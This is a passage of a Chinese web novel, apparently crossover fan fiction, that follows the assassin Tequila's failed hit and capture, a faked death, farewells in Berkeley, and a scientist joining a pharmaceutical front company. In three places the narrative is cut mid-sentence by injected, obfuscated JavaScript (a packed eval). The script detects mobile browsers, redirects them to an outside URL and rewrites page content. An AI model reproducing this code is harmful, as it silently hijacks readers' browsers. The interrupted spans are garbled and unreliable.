像他们这种干杀手这一行的，常见的职业病可以列出一整张清单，包括但不限于长期熬夜、睡眠质量差、神经高度敏感、三餐不规律。这些生活习惯随便拎出来一个都足够把普通人折腾成脆皮，但对龙舌兰来说，这不仅是生活常态，更是钢铁意志的磨砺，是“逆境成就英雄”最完美的例证。 龙舌兰精神抖擞地按掉闹铃，没有丝毫拖延，一秒进入职业状态：直接起床，然后开始拉伸肌肉。保证身体的灵活性对他的工作来说十分重要。 随后，他走进浴室开始例行洗漱，一边刷牙，一边熟练地戴上耳机，点开每日职场奋斗播客：先听“比尔盖茨如何高效管理时间”、在听“顶级成功人士的早晨习惯”、最后追更“成为行业精英的秘诀”。 龙舌兰听得聚精会神。在这一刻，他不仅仅是杀手，更是一个即将在业界腾飞的职场新星。 获得了足够的动力后，他打开酒店房间的冰箱，拿出前一天晚上精心准备好的早餐，认真地补充优质碳水、蛋白质和脂肪，为美好的一天提供充足能量。 然后，他习惯性地核对自己的任务细节，确保自己能够百分之百地投入到一天紧张又愉快的工作之中。 。 龙舌兰有一个作为牛马的很好的特点，那就是对世界的认知非常主观。 他从小在组织长大，对这个养育了自己、塑造了自己、让自己成为杀手的庞大集团忠心耿耿。哪怕组织在他四岁那年就开始训练他如何操控武器、刺杀目标、在生死边缘游走，他也从未觉得自己是被剥夺了童年，反而坚定地认为，这是他那色厉内荏的组织父亲在给他表现自己的绝佳机会。 在他的认知里，自己是组织里最出众的杀手，是前途无量的代号成员，是这个庞大黑暗集团未来的领军人物。因此，他严格要求自己，每一次任务都力求完美，每一个细节都不允许有丝毫纰漏。该加班的时候，比谁都积极；该拼命的时候，比谁都拼命。 美国五星上将麦克阿瑟曾经说过，牛马和登的概念并不互斥，甚至在某些特定环境下，它们可以完美融合，互相强化，达成登牛共轭的奇妙现象：龙舌兰，就是这么一个非常有研究价值的登牛化合人。 对上，他惟命是从，指哪打哪，组织让他熬夜，他就能三天不合眼。他不仅不抱怨，甚至还会主动给自己加任务，认为把事情做到极致是代号成员的基本素养。 对下，他秉持既要又要的管理风格：既要push他们成为不眠不休干活的牛马，又要让他们在精神上接受并认可组织的伟大。他常常会语重心长地教导新人，说一些“你要努力，不然以后连替组织挡子弹的机会都没有”之类的至理名言。 ……而对中，也就是和他同等级的马蒂尼，事情就变得有些微妙。 他们名义上是同级，但龙舌兰主观认知里完全不承认这点。他始终坚信，自己是未来的组织领军人物，而马蒂尼只是个稍有潜力但比他还差得远了的后辈，想必常常需要从他那里学到些什么。 他自信地认为，哪怕两人是同一个任务的搭档，自己不仅年长，更是比她大了好几岁，他理应享有对于马蒂尼的指挥权。他出谋划策，她执行指令，分工明确，才能最大化任务效率。 ——也正因如此，他对于马蒂尼对他鸟都不鸟的态度十分不满：她常常不接话、不听劝、甚至有时候直接无视他，该怎么干还是怎么干，一副有本事你去杀掉朗姆的架势。 现在是凌晨三点，也理应是所有正常人最脆弱的时候。龙舌兰昨天晚上和马蒂尼商量方案的时候，认为这是一个天赐良机：他们需要这个时候行动，直接潜入老登家，一击必杀。 他已经监视那里好久了，一切如常，除了刚才好像有一个家伙从他家像逃难一样跑出来。 不过他查了一下，发现那是老登的学生。一个学生崩溃地逃出导师家，这对龙舌兰来说完全不值得在意，因为他的下属常常这么离开他的办公室。 一番动员后龙舌兰总结：“三点钟我们准时从酒店出发，五点结束工作之后你就可以继续做你其他的工作了。” 马蒂尼面无表情地棒读：“……我是狙击手，我需要看见他的头才能干活。”她的语气死气沉沉，“也就是说窗帘不能拉着，这个人要坐着，还得室内有光。这三点，一个正常人能在凌晨三点做吗？” 龙舌兰理所当然地说：“你们现在的年轻人就是太依赖条件成熟了，你要学会自己创造条件。” 马蒂尼深深地看了他一眼，像是在思考他到底是认真的，还是大脑缺氧导致的妄想。她没有想明白，索性翻了个白眼，转身直接回自己房间，干净利落地关上门，连一句废话都懒得再多说。 龙舌兰知道这是这个女人在玩欲擒故纵，他心想：丫头，嘴上再怎么别扭，关键时候还不是得听前辈的？女人嘛，矫情归矫情，该干活的时候还不是得乖乖配合，三点钟她肯定会准时出发。 ……现在是凌晨三点，已经进入工作状态的龙舌兰拨通马蒂尼的号码：无人接听。 他皱起眉头，又打了一次。 仍然无人接听。 龙舌兰开始连续拨打，而电话那头毫无反应。 他忍住怒火，快步走到马蒂尼的房门前，伸手敲门：没人应答。 他提高力道敲了几下。 依然没人应答。 他冷下脸，直接开始砸门，直到门都快被敲烂了，酒店前台派人过来让他不要损害公物，房间里仍旧没有半点动静。 龙舌兰气坏了。他决定就自己一个人行动，等工作结束后，借着这一次完美完成任务的功绩，狠狠地参上马蒂尼一本，将她不服管教、不听指挥的事实如实上报——最好直接让她滚出朗姆的直属队伍，彻底从机密任务的调派名单里除名！ 。 龙舌兰穿着标志性的黑色风衣，压低帽檐，悄无声息地潜入了老登家。 四周死一般的寂静，空气里弥漫着淡淡的木质地板气息，只有他轻缓的脚步声在黑暗中回荡。他踏入玄关，警觉地四处扫视了一圈。屋内没有灯光，窗帘被拉得严严实实，一切都显得过分安静，甚至比他预想的还要顺利。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙舌兰瞬间绷紧全身肌肉，他是个老手，直觉告诉他，情况彻底不对劲了。而就在这一刻，他敏锐地感觉到，属于三个人的沉稳的脚步声正向他极速靠近。 他有一个做杀手的好习惯，就是他的身上就是一个巨型的火药库。他的风衣口袋里至少有三把枪，全身上下用绷带缠满了刀片、毒药、和炸弹。 龙舌兰下意识地伸手去掏备用武器，但指尖触及的只有空荡荡的衣料。 他的心跳猛地一滞，动作不自觉地加快，接连摸向风衣口袋、腰间的暗袋、绑在胸前、背后、腿上的绷带—— 空的，全是空的！ 他身上的备用武器全都消失得一干二净！ 龙舌兰瞳孔骤缩，头皮发麻。他极力压制住心底翻腾的恐惧，迅速后撤一步，想拉开距离寻找新的突破口—— 然而，外面的脚步声已经极速逼近到门边：他能够感受到，这不是睡梦中惊醒的慌乱步伐，而是训练有素的围捕。 说时迟那时快，房门打开，三个顶着老登妻子、儿子、女儿脸的猛男冲进房间，朝他急扑过来。 58.杀手生涯结束的方式有很多种，你猜谁的最离谱？ 龙舌兰身上没有武器，但他的格斗术足够重量级：敌人能夺走他的枪，但夺不走他的战斗本能。他猛地伸手抄起身旁的一把木椅，椅腿在地板上划出一道低沉的刮擦声。 与此同时，一道黑影猛然逼近，拳风呼啸，我孙子文也的拳头如炮弹般砸来，直指龙舌兰的面门！ 龙舌兰迅速举起手中的椅子，挡在自己身前。下一秒，拳头砸中椅面，木屑在空气中飞散开来，椅背上被震出一道清晰可见的裂痕。他没有丝毫慌乱，反而在对方拳头刚刚收回的瞬间顺势一扯，直接掰断了一条椅腿。他转身，双腿爆发力极强地蹬地，以椅腿为棍，直接朝着后侧方的狮子王次郎的手臂劈去。 狮子王警官本能地抬起手臂格挡，但这一棍力量迅猛得超乎想象。他的肌肉猛地绷紧，剧烈的冲击力直接让他被迫后撤半步，但龙舌兰不给他任何喘息的机会，又是一棍扫来。他侧身躲避，下一秒，龙舌兰突然松手，手中的木棍顺势甩出，目标赫然是后方大蜘蛛警官的膝盖。 大蜘蛛警官的瞳孔微缩，判断出轨迹后他试图跳起来躲过去，但仍旧慢了一步。木棍狠狠撞在他的膝盖侧面，虽然未能造成致命伤害，但仍然让他身体失去重心，倒在地上。 仅用了不到一分钟的时间，龙舌兰就以一己之力撕开了一个破绽。 对面三人略显惊讶地盯着他，显然没有想到在完全剥夺武器的情况下，他还能爆发出这种攻击力。 趁着这个间隙，龙舌兰迅速翻身后撤到窗边，踩稳脚步，目光凌厉地扫视着三位公安。在潇洒跳窗离开前，他例行对手下败将放些狠话：“就这？我……” 房间里传来异样的响动。 龙舌兰警觉地抬头，就见躺在床上的老登面无表情地坐起身。下一秒，他掏出了一把麻醉枪，对准龙舌兰就是一枪。 龙舌兰本能地一个侧翻，反应速度快到极限，堪堪避开射来的第一发麻醉针。 他冷笑一声，刚想反击，却看到老登的动作没有丝毫停顿：登不愧是登，面对危险的敌人，为了自己的安全，一发怎么够，正常登都会选择直接连开十发起步，打到麻醉枪一滴都不剩为止！ 麻醉针铺天盖地朝他袭来，龙舌兰脸色一变，他以极限速度翻滚，躲开几发，但空气中飞掠而来的麻醉针的轨迹已然封锁了他的所有退路。 一股细微的刺痛从脖颈传来，龙舌兰瞳孔骤缩，低头一看，一根麻醉针稳稳地插在他的皮肤里。眩晕感如潮水般袭来，他下意识地想要挣脱，但身体已经渐渐不受控制，膝盖一软，重重地倒在地上。 视线模糊，他看见老登朝他走来。但下一秒，他就意识到，这个人并不是老登：他伸手撕下了脸上的伪装，露出一张过分精致的白发男性的脸。 这个白毛笑眯眯地看着地上摇摇欲坠的龙舌兰，眼神充满了戏谑与恶意。 “别多想，”他随意地摆了摆手，语气悠闲，“我不是非要插手你们的事情，就是单纯地有点看不下去。” 白毛转头对旁边几个顶着老登家人脸的猛男说道：“你们为什么不用枪啊？时代变了，他没武器不代表你们不能用武器啊。”他感慨地叹了口气，仿佛对这种战斗方式十分无奈，“你们这打法也太原始了，真的，长岛看了都要摇头。” 。 龙舌兰再次转醒时，发现自己被五花大绑，牢牢固定在椅子上。 身体的肌肉有些僵硬，后颈还残留着被麻醉针射中的钝痛。他试着挣动了一下，绳索勒得极紧，几乎毫无空隙。 他抬起头，对面站着的，正是他在老登卧室见到的那三个猛男——他们仍然顶着老登家人的脸，但现在他们站姿笔挺，眼神冷漠，彻彻底底地失去了他监视的时候感受到的那种家庭温馨感。 其中一个人正在打电话：“……长岛君？是的，我们抓到他了。” “……是的，果戈里君立了大功。” “……是的，我们现在十分尴尬，不知道为什么，我们有枪不用就赤手空拳地冲上去了。” ……长岛？龙舌兰感觉这个名字在哪里听到过。人在逆境中会被逼出自己的极限，他本来记忆力并不太好，但在电光火石之间，他突然想起来他几个小时前刚刚查的，那个从G教授家里崩溃地跑出来的学生叫做“长岛京悟”，就姓长岛！ 这一切就是一个陷阱！这些人到底是谁，又为什么会提前知道这一次机密行动？龙舌兰不太好使的脑子继续急速运转——知道这一次行动的人，就都是组织的高层；但是知道他们改了行动时间的，只有马蒂尼。 也就是说，马蒂尼是卧底！这个该死的、不听话的、讨厌的女人，果然是一只组织里的老鼠。 他早就该知道，一个正常人不会在熬过艰难的本科四年之后，还要继续坚定地前往下一个更加痛苦的学术地狱。读研的人，对自己都一巴掌，那对培养他们、给他们提供发展平台的组织，更是两巴掌。如果他能成功逃出去的话，他一定要将马蒂尼亲手杀死，以正组织纪律的雄风。 龙舌兰在脑海中疯狂思索着逃脱方案，而另一边，狮子王次郎正一边打电话，一边确认任务的后续安排。 马蒂尼提供的情报显示，敌方只派出了两个人，而她的同伴是一个身材高大、留着小胡子、屁股下巴的男人，代号龙舌兰。目前，他们抓到的这个人完全符合所有的特征。 真假老登都不在实验室，睡了个懒觉的长岛京悟舒舒服服地窝在被子里接电话：“你们有想好怎么处理龙舌兰吗？” 狮子王警官说：“我们这次需要抓住他，更要为你进入组织铺路。如果他被抓起来，你和马蒂尼必然逃不开一次问询。我们会制造一个他的意外死亡，但是事实上我们会把他秘密引渡回日本。” 长岛京悟在床上翻了个身，阴暗地蠕动到床头柜喝了口水：“那你们想好让他怎么死了吗？” 狮子王警官顿了顿：“暂时还没想好，你有什么推荐吗？” 长岛京悟思考了一下：“要那种光辉的死法，还是要那种看上去很蠢的死法？” 狮子王警官语气果断：“蠢一点的更符合人设。他其实有机会逃，但是他在逃之前还非得对我们放点狠话，感觉有点不太聪明。” 长岛京悟：“啊……” 日本公安说话也挺质朴的。 他回忆了一下自己看过的电影和玩的游戏里的所有比较离谱的死法，提议道：“不过他既然有代号，应该也不会是非常蠢的那种。可以试试，他去拿一个快递——北美这边很常见的，快递送错地址了，他恰好拿到了一个恐袭炸弹。然后被炸成碎片了。” 狮子王次郎一拍大腿，惊喜道：“长岛，你简直是天才！” 长岛京悟：“……这么快就接受了这个设定啊。”他终于坐起来，伸了个懒腰，“那你们觉得他应该在杀死我老板前死还是后死呢？” 狮子王次郎淡定地说：“既然我们现在知道马蒂尼是FBI的卧底，那自然这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069024|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人头可以送给她。麻烦你帮忙传一下信了，请她今天随时过来杀果戈里君。我们会继续伪装到行动结束的。” 。 长岛京悟给马蒂尼发了一个短信后，又在床上玩了会儿手机，才慢吞吞地起床穿衣服。他走到客厅里，赤井秀一已经离开了，桌子上留着一份他做好的早餐三明治和一张便条，写着他带人去G教授家旁边巡逻，保证其他住户的安全，也正好在日本公安撤离后第一个进去搜查。 长岛京悟满怀感激地吃完了这个三明治后，从口袋里掏出昨天从实验室拿到的，老登藏起来的U盘。 他坐到电脑前，插入U盘。文件目录缓缓弹出，里头只有两个文件——有一份叫做readme.txt的文件，和一个体积相当可观的doc文件。 他点开readme.txt，引入眼帘的是一封简短的、老登口吻的信。 “致拿到这个U盘的不论是谁： 当你看到这个文档的时候，说明我大概已经死了。我曾有预感会死，因为我试图公开的研究会冒犯到一个巨大的组织。在过去的六年内，我夜不能寐，只希望自己能够有机会把这个可以震撼全世界的研究公之于众。如果有人知道，我们在六年前的研究已经成功突破了现代生物学的极限，那么所有人都会明白，我，理应在科学史上留名。 这个U盘内的另一个文档，就是我攥写的，有关六年前的课题的完整论文，包含我在这六年内重复做出的详尽的、可稳定复现的实验方法。这就是我最后能留下的东西。我不求别的，只希望你如果可以的话，能够帮我以我的名义，把这篇论文投给 science……” 与此同时—— 砰！ 马蒂尼舒了口气，缓缓地从瞄准镜中移开眼睛。她清楚地看见 G 教授宅内，书房落地窗旁，属于老登的身影应声倒在电脑前。 狙击手的任务，从来不需要多余的情绪。她眨了眨眼，再一次调整角度，重新对准了那个仍在运转的电脑主机——第二枪，精准无误地打穿了电脑的主板。屏幕闪烁了一下，随即彻底熄灭，黑暗吞噬了一切数据。 任务完成。马蒂尼满意地收起狙击枪，熟练地将枪械拆解放好，帽檐向下压了压，利落地背起包走出掩体，脚步平稳。 听到枪响后，赤井秀一带着一队 FBI 特工朝枪声方向冲去。 他们行动迅速，但所有人心照不宣地知道，这场追捕不过是一个必须走的流程：他们本来也不打算抓住马蒂尼，只是政府总要在这种时候出动一下，以安抚那些被枪声吓到的居民，维持表面的秩序。 赤井秀一目光冷静而沉着。他知道，行动在所有人的计划之中，他们只是在完成自己该扮演的角色。 而老登家里，果戈里最后一次确认了一下即将替代老登的尸体，确保易容完整、一切无误后，他伸手拆下伪装，将老登的皮肤一层一层剥离，换回了自己那一身标志性的白色西装。 ——他的斗篷下，藏着一台笔记本电脑，外观与刚刚被马蒂尼打穿的那台一模一样。 果戈里轻轻拍了拍这台无害的机器，像是在欣赏一件得意的艺术品。 “……好久没见挚友了，这个就当作给陀思的礼物吧！” 他朝着房间里的尸体行了一个谢幕礼，像是一位完成了华丽演出的演员，向无声的观众献上最后的敬意。 然后，他跳出窗户，仿佛从现实中抹去般，消失得无影无踪。 59.好兄弟走好，手机别换号 三天后，伯克利市中心的小酒馆。 刘伟的眼圈红红的，嘴里无意识地咬着可乐的吸管，左手拿着汉堡，右手握着手机，整个人都很萎靡，像只被生活蹂躏过的仓鼠。 老登被刺杀的消息震惊了整个学校，一时间，校园论坛几乎要炸成一朵烟花。人人都在疯狂八卦这位学术大牛到底干了什么惊天动地的破事，以至于被人直接送走。 “肯定是仇杀！”有人信誓旦旦地分析，“说不定他抢了哪个学生的成果，科研圈的水深得很。” “都这个时候了，想必是情杀吧？”楼下提出异议，“之前不是有小道消息说他婚姻不幸福吗？” 更有甚者编出了一整套惊世骇俗的故事，说老登其实是个隐藏身份的黑/帮大佬，在暗地里掌握着某个非法科研组织，靠着人类实验洗钱，最后因为某项不可告人的交易翻车，被同行送上了西天。 刘伟一边刷着学校论坛上越来越离谱的阴谋论，一边狠狠咬了一口汉堡。 “死者为大，这些人八卦已经死了的人是会遭到报应的，可怜的G老师啊。”他哽咽了一下，吸了吸鼻子，“前辈，还有你，怎么这么着急要回日本？要不是我今天特地找你，说不定你连个招呼都不会打，直接人间蒸发。一个暑假的时光，终究是错付了……” 长岛京悟被他说得有些哭笑不得：“怎么可能，我至少会在走之前请你吃顿饭的。我正要来找你，没想到你自己送上门来了。” 因为导师去世，G教授实验室被原地解散，实验室里的两个博士生也被迫提前毕业。乔瑟夫联系上了一个斯坦福的实验室做博后，不过距离伯克利给博士生提供的暑期毕业典礼也就只有一个月了。他思索再三，决定还是去和校长握个手，领个毕业证再正式搬去湾区南边开启新生活。 而长岛京悟却像是完全没有这个耐心似的，以最快的速度提交了离校申请，火速办理了所有手续。他甚至连自己曾经心心念念的毕业典礼都彻底放弃，毫不犹豫地掏出一笔天价国际邮费，让系里在毕业证制作好后，直接寄往一个遥远的日本地址。 刘伟哀怨道：“一个月都等不到吗？我还想去参加你的毕业典礼。……话说，这么急着走，前辈你的房子找转租了吗？” 长岛京悟沉默了一下，脑海里迅速过了一遍自己的待办事项，然后才猛然发觉他好像确实忘了这件事，属实大意了。 这件事本质上是他的错。不过话说回来，退一万步来讲，组织就没有错吗？ 他们错就错在给得实在太多了。 马蒂尼已经给他发来了后天出发的头等舱机票预订单，连带着详细的接送机行程安排。更别提他走之后的房子、杂物，甚至水电网退订等琐事，全都被她料理得井井有条，妥帖得让人有些不寒而栗。而当他今天早上查看自己的银行账户时，发现短短几天之内，组织已经打进了一笔令人心跳加速的金额。 区区房租押金？他长岛京悟现在甚至可以把一层楼的公寓买下来！ ……不过，好像这栋楼已经被果戈里买下来了。 当时果戈里的钞能力太过重量级，也是长岛京悟第一次真正意识到，金钱的确是罪恶的源头。 提到果戈里，长岛京悟才后知后觉地意识到，在这三天里，他居然一次都没有收到果戈里的消息。没有人自来熟地溜进他家打游戏，没有人毫无顾忌地占据他的沙发，甚至连窗户也没有被不请自来的某个白毛推开过。 被小登迫害的生活回归了正轨；屋子变得安静而宽敞，平静而整洁。这本该是值得高兴的事，然而不知为何，长岛京悟却觉得哪儿有点空落落的。 果戈里虽然精神污染，但的确帮了很多忙，长岛京悟对此十分感激。 不知道他现在过得怎么样呢？ 不过以果戈里那种自由散漫的性格，他在哪儿都会活得很自在吧。长岛京悟在心里默默为他下一个迫害对象点了个蜡烛。 他吸了一口饮料，看向窗外，阳光洒在街道上，伯克利依旧如往常一样温暖、喧嚣、生机勃勃。然而他很清楚，自己很快就不会再有机会回到这座生活了六年多的城市了。想到这里，他不由得有些惆怅。 他向刘伟交代起了后续：“我走了之后，你记得照顾好自己。我给 Y 教授手下的一个博士生乔伊写了邮件，她是我同级的，人很好，Y老师人也很不错。乔伊答应带你之后的本科科研，大概过两天会联系你。到了新的实验室，你也不用再天天熬夜，少喝点咖啡，多吃点正经饭。” 刘伟的眼圈又红了：“前辈，你这说得跟临终遗言一样。” ……其实，有可能真的算是。 长岛京悟越是清楚黑衣组织的可怖，越是对自己即将开始的卧底生活心里没数。这次离开，或许真的就是永别了。 但他没有把这话说出口。他耸耸肩：“你可以这么理解吧，反正我下一份工作估计不比这个轻松多少。” 刘伟看上去又要哭了：“前辈，那你也要少喝点咖啡，多吃点正经饭……”他伸手擦了擦眼睛，然后忽然对着门口挥了挥手：“秀一！我们在这里。” 。 戴着针织帽的赤井秀一背着书包走进来，他看上去有些疲惫，但眉眼间依然带着一贯的温和。 他走到两人所在的桌边，刘伟拿起一个没拆封的汉堡递给他：“哪，前辈请的，点的是咱们上次来这里聚餐吃的同一款。给你拿的饮料是冰茶和无糖百事可乐，fifty fifty。” 赤井秀一道了谢后接过来，没有犹豫，直接咬了一口汉堡，慢条斯理地咀嚼着，同时若有所思地看了一眼窗外的街景。不到几秒，他又把视线收回，落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083057|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘伟和长岛京悟身上，像是想说什么，但最终只是轻轻叹了口气。 长岛京悟的手探过桌子，拍了拍赤井秀一的肩膀。 刘伟鼻子一酸：“我感觉你们两个今天好像心情很沉重，而且我总觉得，以后大概很难再见到你们了。” 赤井秀一：“没有的事，我之后还是留在美国继续读书的，总有机会再聚。”他说着，目光复杂地瞥了一眼长岛京悟。 长岛京悟说：“……怎么听你这语气，倒像是在给我送行一样。” 赤井秀一没有否认，只是又咬了一口汉堡，咀嚼的速度放缓了些。他似乎在斟酌措辞，片刻后才低声开口：“前辈，我非常敬佩你。” 长岛京悟愣了一下：“敬佩我什么？” 赤井秀一说：“你明明比谁都清楚前面的路是什么样的，知道自己放弃的东西有多珍贵，但你还是毫不犹豫地走了过去。” 他抬起头，认真地看着长岛京悟，目光深邃而锋利，像是在窥探着什么答案：“我有时候在想，如果换作是我，可能做不到像你这么洒脱。” 长岛京悟沉默了两秒，然后突然笑了：“这哪是什么洒脱？只是没得选罢了。” 赤井秀一没有接话，只是静静地看着他，像是在思考着什么，最终却只是轻轻地叹了一口气：“……也许吧。有时候我也挺羡慕你的。” 长岛京悟好奇地问：“羡慕我？” 赤井秀一：“至少你一直知道自己该做什么，从来没有犹豫过。” 长岛京悟闻言顿了一下，然后真诚地说：“秀一，你啊，想得太多了。我可以肯定，不管是哪一条路，你以后一定会比我走得更远，也一定会成为一个值得所有人托付的人。” 赤井秀一怔了一下，抬眸看着他。对方的语气太过笃定，甚至让人无法反驳。 他无声地也笑了。 长岛京悟拿起手里的饮料晃了晃，随意地靠在椅背上，装出一副轻松的样子：“又不是生离死别，现代科技这么发达，视频电话随时都能打。”他顿了顿，目光扫过刘伟泛红的眼圈，又瞥了一眼赤井秀一那欲言又止的表情，最终还是收起了玩笑的语气，换上了认真一点的语调： “不过……说真的，咱们三个能在这儿坐着吃饭，下一次确实不知道会是什么时候了。” 他放下饮料，手指轻敲着桌面，目光在桌上游离了片刻，像是在思考，又像是在给自己找一个恰当的措辞。 “我的生活就要完全换个样子了，估计忙得脚不沾地，也不一定能随时联系上。但你们放心，我这个人还是很幸运的，没那么容易出事。到时候如果有机会，还是能再聚的——” “——反正，我们终究会重逢在一个光明的明天。” 第一卷-实验室猝死重生后我干废了老登博导组的课题-完 60.人，打得过金钱吗？ 白鸠制药位于寸土寸金的东京都。 马蒂尼带着长岛京悟下了车，面前是一座看上去就造价昂贵的大楼。 这栋楼从外面看，完全不像是一家传统的制药公司，更像是某个国际金融巨头的总部：整体的设计采用极简主义，锃亮的玻璃墙在阳光下闪烁着蓝色光泽，从里到外都透着高级感。大楼外面是一个维护得很干净的花园，植被茂盛，簇拥着一个音乐喷泉，尽显尊贵。 在门的正上方，一只展翅高飞的白鸽标志被雕刻在金属牌匾上，下面写着企业理念：公司致力于突破医学壁垒，为人类健康带来希望。 长岛京悟抬头看着那只金属鸽子，总觉得它的羽翼在阳光下反射出的光泽透着一丝诡异的冷意。 他当然明白这个标志对外宣传的象征意义——和平、生命、希望。 然而，他也已经亲身体验过，组织是如何不仅将人力视作牛马，更是将人命当作草芥。在这里，一个人的价值，不在于他是否活着，而在于他能不能在实验室生产数据、在研发中解决问题。 当普通人看到这只白鸽时，或许会联想到医学的进步和人类战胜疾病的愿景。但长岛京悟看着它，只觉得这只鸽子像极了每一个踌躇满志加入公司的牛马，下一秒就会被扭断脖子、拔毛剥皮，然后被端上高层的餐桌，旁边还会贴心地标注一句：“富含优质蛋白，是减脂增肌的不二之选。” 他一边这么漫无边际地想着，一边跟紧了马蒂尼走进大堂。大堂的地面铺着考究的大理石，光滑得能倒映出每一个走进来的员工憔悴的加班脸。与之相对应的，天花板上悬挂着一组十分气派的水晶吊灯。 长岛京悟猜测这种又土又豪华的设计不仅是在强调公司有钱，更像是在用光影效果精心营造一种错觉——让加班到半夜的员工在疲惫中产生幻觉，以为自己仍然身处某个高级会所，而不是科研地狱。 但这都不是最令人膛目结舌的。最无聊且没有意义的是，在大厅的中央，安置着一座悬浮在半空的 DNA 双螺旋结构雕塑。它高达数米，宛如科幻电影中的未来装置，整体镂空金属材质，每一条螺旋链上都嵌着流动的光带，随着时间的推移缓缓变换颜色。 马蒂尼察觉到他的目光，指着雕塑说：“这个是朗姆非要买的，他说看到这个就觉得暖暖的，很贴心，一定可以激励科研人员努力工作，为组织创造更大的价值。” 长岛京悟：“……啊？” 他再度看向那座光彩夺目的雕塑，陷入了沉思。 朗姆到底是出于什么样的心理，才会认为一座会发光的雕塑能激励科研人员？ 有哪个加班到凌晨三点的牛马，看到这条自带氛围灯的螺旋链，会被感动到热泪盈眶，继而燃起为组织燃烧自己的奉献精神的…… 至少他看着这个看上去就很贵的巨大DNA链，只觉得它像是在提醒自己日夜研究的课题就和这雕塑一样虚无缥缈——摸不着、看不透、始终悬浮在他触不可及的地方。但是至少这玩意会发光，肯定比搞科研的未来要亮。 马蒂尼愤愤地补充道：“你知道吗？当时朗姆为了说服董事会买下这个雕塑，还让我专门写了一篇演讲稿。那篇演讲稿我被他逼着改了五遍，改到想和他同归于尽，结果他最后站上去讲的时候念的还是初稿。” 长岛京悟震惊：“所以这个东西到底多少钱啊？” 马蒂尼说：“具体数额不方便透露，但你可以想象一下，如果换成年终奖，应该够给这里的员工每个人发一台最新款的 MacBook Pro。” ……组织有钱并老登到让他头皮发麻。 长岛京悟开始对自己未来能否应付这帮人感到怀疑。从马蒂尼的描述来看，朗姆已经达到了他博后老板的老登程度。 但是他还只是个二把手。也就是说，真正的组织boss会有多老登，他根本想都不敢想！ 他深吸口气，让自己冷静下来，开始暗搓搓地打听：“话说，你是朗姆手下的人，朗姆是二把手。那这里的大老板是谁啊？” 马蒂尼似乎有些意外：“诶？不过我好像还真的没见到过他。”她带着长岛京悟走进电梯，按下了二楼，四周看了看，再想了想后回答道，“这个倒不是什么不能说的。我知道的是，boss已经很久没有出现在大家面前了，绝大多数事情都是由几个高层代劳了。” 两人走出电梯，在走廊里，长岛京悟追问：“你知道为什么他不出现了吗？” 马蒂尼边走边说：“我不知道。或许他有别的事情在忙吧。比方说在国外追一个替身金丝雀之类的……” 长岛京悟若有所思地“哦”了一声。组织的大Boss连自家公司都不来，算是摆烂天花板了。他一时间也难以想象，一个比朗姆还登的老登到底是怎样的存在。 是超越时间的登？ 是纯粹主义的登？ 是进化到完全不工作、只靠手下帮他运营黑色产业的登？ 更让人不解的是，既然他已经彻底摆烂了，为什么组织还能高效运转？难道黑衣组织本质上是一个成熟的去中心化管理的公司？ 他们穿过半条走廊，然后停在了一个外面写着“白鸠制药hr办公室”的门前。 马蒂尼掏出钥匙开门，长岛京悟才发现这个房间的灯都是暗的，似乎没有人在上班。但是今天好歹也是周一，于是他好奇地问：“你同事呢？” 马蒂尼叹了口气，转过头面无表情地说：“我没有同事。” 长岛京悟以为自己听错了：“……你一个人干这么大一个公司的人事事务啊？” 马蒂尼面色安详：“啊，我一个人干所有的事情。本来之前龙舌兰有时候会被派来帮忙干点杂活，但是他现在没了，就剩我一个了。” 长岛京悟同情地看了一眼马蒂尼。她看上去马上就要碎了。 两人走进这个办公室。马蒂尼把包扔到工位上，然后钻进了后面联通的档案室里。很快，她拿着几个文件夹走出来：“好了，都在这里了。你看一看就签吧。” 长岛京悟的目光扫过合同条款，停在职位上的“首席科学家”上。他又想起了宫野厚司夫妇——这些曾经站在他这个位置上的人，如今都已经成为历史。 他把自己的名字签好，捏了捏合同的边角，心中浮现出一丝说不清的悲凉：“宫野夫妇有孩子吗？” 马蒂尼说：“有的。有一个才四岁的小女儿，大女儿现在在上初中。我昨天开车去看了看她们，似乎过得还可以，至少宫野夫妇死的时候我们发了一笔很可观的体恤金。” 长岛京悟问：“那她们以后呢？她们之后会成为这个组织的一员吗？” 马蒂尼耸耸肩：“这谁知道呢。组织会怎么处理她们也轮不到我来指手画脚。” 她凑过来看了看桌上的文件，确认了一遍该签名的地方都签好了，然后把资料整齐地收好，动作利落得仿佛不愿在这个话题上停留太久。 沉默片刻后，她像是随口提起，又像是在斟酌着措辞：“……她们之后的事情，如果上面有了决定，大概率是交给我来执行。”马蒂尼目光落在长岛京悟身上，语气带着些不忍心：“你要是想知道的话，我到时候告诉你就行了。” 她的重音有意无意地落在“你”上。 长岛京悟听懂了她的言下之意：这并不是单纯的通报，而是一种 